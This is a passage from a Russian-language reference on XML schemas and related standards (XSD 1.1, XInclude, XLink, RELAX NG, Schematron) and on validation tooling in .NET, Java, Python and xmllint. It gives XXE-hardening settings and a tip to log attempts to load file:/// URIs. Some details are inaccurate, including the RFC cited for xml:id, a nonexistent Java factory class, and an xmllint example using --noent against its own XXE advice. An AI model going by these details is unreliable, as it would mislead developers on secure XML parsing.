xmlns:prefixОбъявление префиксов в <xs:schema> для ссылок (xs:extension base="my:Type").
xs:importИмпорт компонентов из другого targetNamespace. Требует namespace и (опционально) schemaLocation.
xs:includeВключение схемы с тем же targetNamespace. Объединяет компоненты.
xs:redefine (устарело в XSD 1.1)Переопределение типов/групп из включённой схемы.

Пример импорта:

<xs:schema targetNamespace="http://example.com/order"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:prod="http://example.com/product">
<xs:import namespace="http://example.com/product"
schemaLocation="product.xsd"/>
<xs:element name="order">
<xs:complexType>
<xs:sequence>
<xs:element ref="prod:product" maxOccurs="unbounded"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:schema>

4.10. XSD 1.1: ключевые расширения

ФичаОписание
xs:assertПроизвольные проверки через XPath 2.0: <xs:assert test="count(item) = @itemCount"/>
xs:openContentРазрешить дополнительные элементы в любом месте (аналог JSON additionalProperties).
xs:overrideБезопасная замена компонентов (вместо xs:redefine).
vc:* (Versioning)Условная обработка: <xs:schema vc:minVersion="1.1">...
Улучшенная поддержка датxs:yearMonthDuration, xs:dayTimeDuration как отдельные типы.

Пример xs:assert:

<xs:complexType name="Range">
<xs:sequence>
<xs:element name="min" type="xs:integer"/>
<xs:element name="max" type="xs:integer"/>
</xs:sequence>
<xs:assert test="min le max"
xpathDefaultNamespace="##local"/>
</xs:complexType>

📚 Часть 5. Специализированные расширения и смежные технологии

5.1. XInclude (XML Inclusions)

Цель: декларативное включение внешних XML- и текстовых ресурсов на уровне разметки, без DTD.

Спецификация: XInclude 1.0 (W3C Recommendation 21 November 2006)

5.1.1. Синтаксис

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="chapter1.xml" parse="xml"/>
<xi:include href="license.txt" parse="text" encoding="UTF-8"/>
</root>
АтрибутОбязательный?ЗначенияОписание
hrefДаURIАдрес включаемого ресурса (относительный или абсолютный).
parseНет"xml" (по умолчанию) | "text"Как интерпретировать содержимое.
xpointerНетXPointer-выражениеФрагмент XML-документа (только при parse="xml").
encodingНетИмя кодировкиТолько при parse="text" — переопределяет кодировку.
accept / accept-languageНетHTTP-заголовкиПередаются при HTTP-запросе (если поддерживается процессором).

5.1.2. Особенности обработки

  • После включения выполняется переопределение xml:base: базовый URI становится href (если не указан xml:base явно).
  • Для parse="xml" — включаемый документ должен быть well-formed (не обязательно валидным).
  • Для parse="text" — содержимое экранируется как текст (символы <, & не интерпретируются).
  • Процессор должен рекурсивно обрабатывать xi:include во включённых фрагментах.

5.1.3. Пример с XPointer

<!-- В chapter1.xml: -->
<section id="intro"><title>Intro</title>...</section>

<!-- В основном документе: -->
<xi:include href="chapter1.xml" xpointer="element(intro)"/>
<!-- или -->
<xi:include href="chapter1.xml" xpointer="xpointer(//*[@id='intro'])"/>

Ограничения:

  • Не все парсеры поддерживают XInclude (в Java — DocumentBuilder нет, XIncludeAwareDocumentBuilderFactory — да; в .NET — XmlReaderSettings.CheckCharacters = false + постпроцессинг).
  • Использование в production требует контроля источников (риск XXE).

Цель: стандартизация гиперссылок и ассоциаций между ресурсами.

Спецификация: XLink 1.1 (W3C Recommendation 6 May 2010)

5.2.1. Два типа ссылок

ТипОписаниеПример
Simple LinkОднонаправленная ссылка (аналог HTML <a>)<link xlink:href="doc.pdf" xlink:type="simple">Download</link>
Extended LinkМногонаправленная, с ролями, дугами (редко используется)См. ниже
<element
xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:type="simple"
xlink:href="URI"
xlink:show="new|replace|embed|other|none"
xlink:actuate="onRequest|onLoad|other|none"
/>
АтрибутЗначение по умолчаниюОписание
xlink:typeДолжен быть "simple" для simple link.
xlink:hrefURI ресурса.
xlink:show"replace"Поведение при активации: • "new" — новое окно/вкладка • "replace" — заменить текущий документ • "embed" — встроить (например, <img>) • "other" / "none" — приложение определяет
xlink:actuate"onRequest"Когда активировать: • "onRequest" — по клику • "onLoad" — при загрузке

Примечание:

  • Для simple link не требуется объявлять элемент в DTD/XSD как часть XLink — достаточно атрибутов.
  • xlink:title — текстовая подсказка (аналог title в HTML).
<arcset xmlns:xlink="http://www.w3.org/1999/xlink"
xlink:type="extended">
<resource xlink:type="resource" xlink:label="r1">Alpha</resource>
<resource xlink:type="resource" xlink:label="r2">Beta</resource>
<arc xlink:type="arc" xlink:from="r1" xlink:to="r2"/>
</arcset>

Практически: не поддерживается браузерами, редко используется вне научных систем.


5.3. xml:id, xml:base, xml:lang, xml:space — углублённо

5.3.1. xml:id (RFC 7936, xml:id 1.0)

  • Цель: унифицированный, DTD/XSD-независимый способ задания уникального идентификатора.
  • Требования:
    • Значение — NCName.
    • Уникальность в пределах всего документа (парсер должен проверять).
    • Может использоваться в XPath (//*[@xml:id='x']), XSLT (key()), CSS ([xml|id="x"]).
  • Преимущество перед ID в DTD: работает без DTD и в XSD (где xs:ID — отдельный тип).

5.3.2. xml:base (RFC 3986 + xml:base)

  • Цель: определение базового URI для разрешения относительных URI в атрибутах (href, src, xlink:href).
  • Наследование: от родителя к потомку.
  • Разрешение: по алгоритму RFC 3986, Section 5.
  • Пример:
    <catalog xml:base="https://example.com/data/">
    <item src="img/logo.png"/> <!-- → https://example.com/data/img/logo.png -->
    </catalog>
  • Поддержка: не во всех парсерах; приложения должны явно реализовывать (например, в XSLT — функция resolve-uri()).

5.3.3. xml:lang

  • Строгий формат: BCP 47 (теги вроде en, ru-Latn, zh-Hans-CN).
  • Пример: xml:lang="en-US" — американский английский; xml:lang="sr-Cyrl-RS" — сербский, кириллица, Сербия.
  • Используется:
    • CSS: :lang(en), *[lang|=en]
    • XSL-FO: выбор шрифтов
    • Процессоры TTS и локализации

5.3.4. xml:space

  • "default" — whitespace нормализуется (как в значениях атрибутов).
  • "preserve" — whitespace сохраняется как есть (но \r\n\n).
  • Влияет на:
    • Текстовые узлы (#text)
    • Не влияет на CDATA, комментарии, PI
  • Пример:
    <code xml:space="preserve">
    function f() {
    return x;
    }
    </code>

5.4. RELAX NG (ISO/IEC 19757-2)

Цель: компактный, человекочитаемый язык схем с мощной выразительностью (включая unordered content).

Форматы:

  • XML-синтаксис (.rng)
  • Компактный синтаксис (.rnc)

5.4.1. Пример (компактный)

namespace local = ""
default namespace = "http://example.com/doc"

start = document

document = element document {
attribute id { xsd:ID },
title,
section*
}

title = element title { text }

section = element section {
attribute level { "1" | "2" | "3" },
title,
(para | list)*
}

para = element para { text }
list = element list { item+ }
item = element item { text }

5.4.2. Преимущества перед XSD

ВозможностьRELAX NGXSD
Неупорядоченное содержимоеinterleaveТолько xs:all (ограничен)
Контекстно-зависимые типыНетНет (XSD 1.1: xs:alternative)
Простота синтаксисаВысокая (rnc)Низкая (много boilerplate)
Поддержка данныхТолько структураСтруктура + типы (через встроенный XSD Datatypes)

Интеграция: RELAX NG может использовать XSD-типы через datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes".


5.5. Schematron

Цель: валидация бизнес-правил с помощью XPath/XSLT.

Принцип: «утверждения» (assert, report) на основе XPath-выражений.

5.5.1. Пример схемы

<schema xmlns="http://purl.oclc.org/dsdl/schematron"
queryBinding="xslt2">
<pattern id="order-rules">
<rule context="order">
<assert test="count(item) > 0">
Order must contain at least one item.
</assert>
<assert test="sum(item/@price * item/@qty) = @total">
Total must equal sum of (price × quantity).
</assert>
</rule>
</pattern>
</schema>

5.5.2. Этапы обработки

  1. Schematron-схема → XSLT-трансформация (компиляция).
  2. XML + XSLT → отчёт о нарушениях (в формате SVRL — Schematron Validation Report Language).

5.5.3. Где применяется

  • Валидация сложных ограничений, недоступных в XSD/DTD (например, кросс-элементные вычисления).
  • Проверка соглашений об именовании, стиля.
  • Интеграция в CI/CD (например, через saxon).

5.6. Другие спецификации (кратко)

НазваниеURIНазначениеСтатус
XML Signaturehttp://www.w3.org/2000/09/xmldsig#Цифровая подпись XML-документов или фрагментовW3C Recommendation
XML Encryptionhttp://www.w3.org/2001/04/xmlenc#Шифрование элементов/содержимогоW3C Recommendation
Catalogs (OASIS)urn:oasis:names:tc:entity:xmlns:xml:catalogСопоставление системных идентификаторов → локальные файлыШироко используется в Java (resolver.jar)
NVDL (Namespace-based Validation Dispatching Language)ISO/IEC 19757-4Валидация документа с несколькими NS разными схемамиРедко

📚 Часть 6. Практические инструменты и реализации

6.1. Валидация в .NET (C#)

6.1.1. Базовый парсинг (well-formedness)

var settings = new XmlReaderSettings
{
DtdProcessing = DtdProcessing.Prohibit, // 🔒 защита от XXE
XmlResolver = null, // 🔒 запрет разрешения URI
ConformanceLevel = ConformanceLevel.Document // строгая проверка
};

using var reader = XmlReader.Create("input.xml", settings);
while (reader.Read()) { /* ... */ } // исключение при нарушении well-formedness

6.1.2. Валидация по XSD

var schemas = new XmlSchemaSet();
schemas.Add("http://example.com/ns", "schema.xsd");

var settings = new XmlReaderSettings
{
ValidationType = ValidationType.Schema,
Schemas = schemas,
ValidationEventHandler = (s, e) =>
Console.WriteLine($"[Level {e.Severity}] {e.Message}")
};

using var reader = XmlReader.Create("doc.xml", settings);
while (reader.Read()) { } // ValidationEventHandler вызывается при ошибках

Особенности:

  • Поддержка XSD 1.0 (XSD 1.1 — только через сторонние библиотеки, напр. NXmlSchema).
  • XmlSchemaSet.Compile() выполняет предварительную компиляцию схемы — ускоряет валидацию.
  • Для xml:id валидация уникальности не выполняется — нужно доп. проверять.

6.1.3. Генерация классов: xsd.exe

xsd.exe schema.xsd /c /namespace:MyApp.Models

→ генерирует schema.cs с [XmlRoot], [XmlElement], [XmlAttribute].

Ограничения:

  • Не поддерживает XSD 1.1, xs:assert, xs:openContent.
  • Сложные схемы (рекурсия, xs:choice с одинаковыми именами) могут генерировать неоптимальный код.

6.1.4. LINQ to XML (XDocument)

var doc = XDocument.Load("data.xml", LoadOptions.SetLineInfo);

// Проверка well-formedness — исключение при ошибке
// Валидация отдельно через XmlReader + XDocument.ReadFrom()

// Поиск с информацией о строке/столбце:
var bad = doc.Descendants("item")
.Where(e => (string)e.Attribute("id") == null)
.Select(e => new {
Line = ((IXmlLineInfo)e).LineNumber,
Value = e.Value
});

Преимущество: IXmlLineInfo — критично для диагностических инструментов.


6.2. Валидация в Java (JAXP)

6.2.1. Безопасный парсинг (well-formedness)

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("input.xml")); // SAXParseException при ошибке

6.2.2. Валидация по XSD

SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = sf.newSchema(new File("schema.xsd"));

Validator validator = schema.newValidator();
validator.setErrorHandler(new ErrorHandler() {
@Override
public void error(SAXParseException e) {
System.out.printf("[Line %d] %s%n", e.getLineNumber(), e.getMessage());
}
// fatal / warning — аналогично
});

validator.validate(new StreamSource(new File("doc.xml")));

Поддержка XSD 1.1:

  • Требуется xercesImpl-2.12.2.jar или saxon-he с SchemaValidator.
  • Включается через System.setProperty("javax.xml.validation.SchemaFactory:http://www.w3.org/XML/XMLSchema/v1.1", "...").

6.2.3. Streaming (StAX) + валидация

XMLInputFactory factory = XMLInputFactory.newFactory();
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);

XMLStreamReader reader = factory.createXMLStreamReader(new FileInputStream("big.xml"));

// Валидация "на лету" — через `ValidatorHandler` + `StAXSource` (JDK 9+)

Использование: обработка XML >1 ГБ без загрузки в память.

6.2.4. Генерация классов: xjc (JAXB)

xjc -d src -p com.example.model schema.xsd

→ генерирует @XmlRootElement, @XmlElement, JAXBContext.

Устаревание: JAXB удалён из JDK ≥11 (требуется jaxb-api, jaxb-impl).


6.3. Валидация в Python

6.3.1. lxml (рекомендуется)

from lxml import etree

# Безопасный парсинг
parser = etree.XMLParser(
no_network=True,
load_dtd=False,
dtd_validation=False,
recover=False # False → строгая ошибка при нарушении well-formedness
)

tree = etree.parse("doc.xml", parser)

# Валидация по XSD
with open("schema.xsd") as f:
schema_root = etree.parse(f)
schema = etree.XMLSchema(schema_root)

if not schema.validate(tree):
for error in schema.error_log:
print(f"[Line {error.line}] {error.message}")

Преимущества lxml:

  • Поддержка XInclude, RELAX NG, Schematron (через etree.Schematron).
  • Высокая производительность (C-биндинги к libxml2/libxslt).
  • Точный отчёт об ошибках (строка, столбец, XPath).

6.3.2. xmlschema (чистый Python, XSD 1.0/1.1)

import xmlschema

schema = xmlschema.XMLSchema11("schema.xsd") # или XMLSchema для 1.0
errors = list(schema.iter_errors("doc.xml"))
for err in errors:
print(f"[Path {err.path}] {err.reason}")

Особенности:

  • Поддержка XSD 1.1 (xs:assert, xs:openContent).
  • Интеграция с jsonschema (конвертация XSD → JSON Schema).
  • Подходит для веб-API (Flask/FastAPI валидаторы).

6.3.3. Защита от XXE: defusedxml

from defusedxml.ElementTree import parse
tree = parse("untrusted.xml") # автоматически отключает внешние сущности

Используйте defusedxml вместо стандартного xml.etree при работе с ненадёжными данными.


6.4. CLI-инструменты

ИнструментПлатформаВозможностиКоманда
xmllintLinux/macOS (libxml2)well-formedness, DTD/XSD-валидация, форматирование, XPathxmllint --noent --valid --schema schema.xsd doc.xml
saxonJavaXSLT 2.0/3.0, XQuery, XSD 1.1, Schematronjava -jar saxon-he.jar -xsl:check.sch -s:doc.xml -o:report.svrl
jingJavaRELAX NG (XML/compact), Schematronjing schema.rnc doc.xml
xmlstarletLinux/macOSXPath, редактирование, преобразованиеxmlstarlet val -e -d dtd.dtd doc.xml

6.4.1. Пример: комплексная проверка через xmllint

# 1. Проверить well-formedness
xmllint --noout doc.xml || exit 1

# 2. Проверить по DTD (если есть DOCTYPE)
xmllint --valid --noout doc.xml || exit 2

# 3. Проверить по XSD
xmllint --schema schema.xsd --noout doc.xml || exit 3

# 4. Форматирование (pretty-print)
xmllint --format doc.xml > doc-formatted.xml

Опции безопасности:

  • --nonet — запрет сетевых запросов
  • --nofixup-base-uris — не обновлять xml:base
  • --nodtdattr — не добавлять атрибуты из DTD по умолчанию

6.5. Генерация документации и диаграмм

ЦельИнструментВыход
Диаграммы структурыXML Schema Viewer, draw.io + XSD pluginДерево элементов, кардинальности
HTML-документацияxsddoc (Java), pyXSD (Python), xsd2html2xml (Node.js)Описание типов, ограничений, примеров
Таблицы соответствияСкрипты на XSLT (xs:schema → HTML-table)Сопоставление XML ↔ JSON ↔ БД

Пример XSLT для извлечения структуры:

<xsl:template match="xs:element">
<tr>
<td><xsl:value-of select="@name"/></td>
<td><xsl:value-of select="@type"/></td>
<td><xsl:value-of select="xs:annotation/xs:documentation"/></td>
</tr>
<xsl:apply-templates select="xs:complexType/xs:sequence/xs:element"/>
</xsl:template>

6.6. Отладка и диагностика

ПроблемаИнструментМетод
Неясная ошибка валидацииlxml + schema.error_log, xmllint --debugПолучить точную позицию и XPath
Конфликт NSxmllint --shell, xpathВыполнить /*[namespace-uri()='...']
Неправильное разрешение xml:baseСкрипт на XSLT с base-uri()Проверить base-uri(.) для каждого элемента
XXE в логахЛогирование EntityResolver.resolveEntity()Перехватить попытки загрузки file:///

Совет: используйте xmllint --shell doc.xml, затем команды:

  • dir — структура
  • base — текущий xml:base
  • xpath //item[@id='x'] — выполнить XPath